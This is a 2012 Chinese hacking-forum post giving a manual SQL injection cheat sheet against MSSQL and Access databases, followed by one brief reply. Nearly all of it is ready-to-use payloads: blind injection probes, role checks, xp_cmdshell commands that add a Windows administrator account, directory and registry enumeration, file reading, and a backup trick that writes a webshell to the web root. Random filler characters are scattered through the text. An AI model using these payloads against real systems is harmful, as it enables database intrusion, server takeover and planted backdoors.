找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2280|回复: 1
打印 上一主题 下一主题

手工脚本注入

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:48:50 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
手工脚本注入 8 b# a1 ^! o: p$ S
1.判断是否有注入;and 1=1 ;and 1=2
  C. K, Y/ ]4 C0 ]% ?0 v. g- O- x' B" f6 X, J# o
2.初步判断是否是mssql ;and user>0 ! C: D; U7 Y7 x. F8 b! v. _

  y/ ~% C: T& s. g. a' q3.注入参数是字符'and [查询条件] and ''='
! ]5 O" T/ O- r( v: O3 D+ e. ~: j) q  a
4.搜索时没过滤参数的'and [查询条件] and '%25'=' 8 ]$ k( Q3 r1 D- Z# F( {- u2 m

1 P, [) G; ~* V" u2 B$ _7 L; L5.判断数据库系统 4 E# u9 _/ a1 W& c1 S
;and (select count(*) from sysobjects)>0 mssql $ t  n( z  H- k9 @" s+ _- A
;and (select count(*) from msysobjects)>0 access , V4 I; Q% m& k1 G1 @2 B) }% b
. `- [  A1 o5 c' h
6.猜数据库 ;and (select Count(*) from [数据库名])>0
6 ?, m2 V. x, `, U% H5 i' Z  Z% v% h& V$ h
7.猜字段 ;and (select Count(字段名) from 数据库名)>0
* E: x; ]. r4 x# e4 G; H. l
+ d# Y' i* k7 P. N4 X2 @8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0
. N$ n2 |3 [2 l' w: n& Y% j8 u% k4 ]
9.(1)猜字段的ascii值(access) ( I/ E* u+ d7 k3 h& Y
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0
2 \3 j8 m( f7 M# _' X( g* J0 d5 ^2 ^+ p6 `/ G8 R: F
(2)猜字段的ascii值(mssql)
8 X  r, Y4 N- b$ ];and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 3 O! t% _/ {; b
9 M1 }1 U1 ?6 G
10.测试权限结构(mssql)
5 B4 a/ v! h* h; ]: a;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- 7 S0 O. O! U9 A+ u( _
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));--
5 {; S2 {  ~+ T- ~; I;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- " L& U/ T1 w: r( Q" J0 c: f% f; U
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- # D' q5 ^+ G( r1 H! M0 \7 |) h5 t% U
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));--
0 ?6 e7 I* x- p' W: U+ q;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));--
- [, U# M; T7 V9 c& D. f;and 1=(select IS_MEMBER('db_owner'));-- ' D* i5 }, T8 _" Z5 ?& Y
& R# D9 a  s& x3 J
11.添加mssql和系统的帐户
9 f- x  r; e5 f;exec master.dbo.sp_addlogin username;-- 1 y6 O+ x( L5 o% W

, ~9 P8 C, }& _" N6 z+ [;exec master.dbo.sp_password null,username,password;--
- u* h  u( d2 X$ Z: h' O& ]- |
# k2 [' Q6 r' K2 y;exec master.dbo.sp_addsrvrolemember sysadmin username;-- # l# _! [7 R- d% w' k
7 s2 W, W  c$ F2 A
;exec master.dbo.xp_cmdshell 'net user username password
! g7 m/ C0 W; Z$ ~# _5 [( \# a/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';--
0 h7 m" m' ^/ q! N9 n; f) V8 A# k5 O5 }! U" }) T/ @9 S8 g  o; R
;exec master.dbo.xp_cmdshell 'net user username password /add';-- 7 N; Y' x+ o# u; C' d
, M) w8 H6 H# b; T
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- 2 C) {. D1 x$ c, w& L# f
, O4 H1 ]' b0 ^6 k  I
12.(1)遍历目录 0 l( e" H, i+ }/ Q7 O4 O+ L( J* K2 \

6 k+ B( E. h' }; ^6 [' z, S;create table dirs(paths varchar(100), id int) , x& ~9 F4 t$ d
;insert dirs exec master.dbo.xp_dirtree 'c:\' ( z; k+ m9 p& T- O3 _
;and (select top 1 paths from dirs)>0
$ M  k1 G9 `# w" b  {;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) 4 D, ~) j0 w0 g$ J* k

" e8 \/ w$ l& `! B! s(2)遍历目录
5 {' D3 W  v! \3 p;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));--
% j3 Q+ C$ O  P0 m. c* c. F& c;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 * F9 _4 B4 U+ T( _" o; w4 N4 ]9 g
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 , k2 K. G2 w& y& o/ k, N: Y# T
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构
- {4 e: Q+ J+ X;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容
/ Y. f3 S# O  H# \
  A$ h2 J, j7 i7 n$ A+ X0 Q13.mssql中的存储过程
: J! Z5 v6 T4 h# k, U+ `
% R4 ]9 m5 p: U. ?. W1 m" B" D1 @xp_regenumvalues 注册表根键, 子键
2 I" L$ q" w( L% W+ `# B2 D$ F;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 2 i1 D" _2 m: W& }. C8 ]
. y  n" M7 V% K2 M6 O& m
xp_regread 根键,子键,键值名
) Y6 e6 h% x! c/ @. z- Y;exec xp_regread
. R* }( r5 s1 b8 ^3 q4 n, L'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 ; G; p9 S$ p. r- p' G9 L

4 y* \* `  r% ^+ j  O1 Qxp_regwrite 根键,子键, 值名, 值类型, 值
; X5 Z% n/ O3 j- {; I值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 . P1 d3 ?& J8 r. {2 x7 Z% A% ~
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表
) L7 T3 u7 f) J/ A
4 X7 N8 u# R9 S! I- gxp_regdeletevalue 根键,子键,值名
7 q2 a1 `9 Z9 E% U
% D2 Z9 _* i. \6 a' c6 a( @exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值
6 ~+ S: M( ~9 k+ @2 m6 K
4 o* K' j8 O! h: {/ k7 c! ?) L1 R* Kxp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值
0 @- `4 A0 h3 [8 E; i* l: r# k" X+ _+ G5 ~! g  J2 [0 p3 Q
14.mssql的backup创建webshell
* N9 X8 v1 z5 v& t8 b4 U5 ruse model 1 O. u; l. u/ d' w3 f! s
create table cmd(str image);
* E( [" G+ v- l5 G8 vinsert into cmd(str) values ('');
8 i, z6 M- R8 Ubackup database model to disk='c:\l.asp';
+ [6 a' N" E  @7 G; m. B+ f9 K- }* K9 N; |
15.mssql内置函数 # ?) H8 B( E( ?9 d
;and (select @@version)>0 获得Windows的版本号
+ _$ y% x6 C, h6 P;and user_name()='dbo' 判断当前系统的连接用户是不是sa
6 b# h( U8 o& @1 W;and (select user_name())>0 爆当前系统的连接用户
2 j/ Y9 d# n! i2 A5 @& ~( u;and (select db_name())>0 得到当前连接的数据库
- u9 O$ K+ |! Y9 b7 j6 v7 h: e/ r3 v) U
16.简洁的webshell
% B# J) e5 k: O, P% j  h$ c2 y4 r8 F! Z) m. f+ v# Q2 f
use model
2 m0 y* u8 S6 Y/ R1 u' a# M+ T0 M" i! w/ c2 s
create table cmd(str image); 5 X  d/ P8 f0 r
. K2 e3 `2 @. m
insert into cmd(str) values ('');
8 w! `: m- ^# W. \  G9 V& U5 a  I* x" N1 A" D3 E
backup database model to disk='g:\wwwtest\l.asp'; + @# D  P/ P0 S  U4 n$ ^/ n$ a

) x" \) u1 [1 ^+ ]" \
回复

使用道具 举报

沙发
发表于 2012-9-15 16:34:20 | 只看该作者
现在很多防注入啊,有其他注入字符码
回复 支持 反对

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表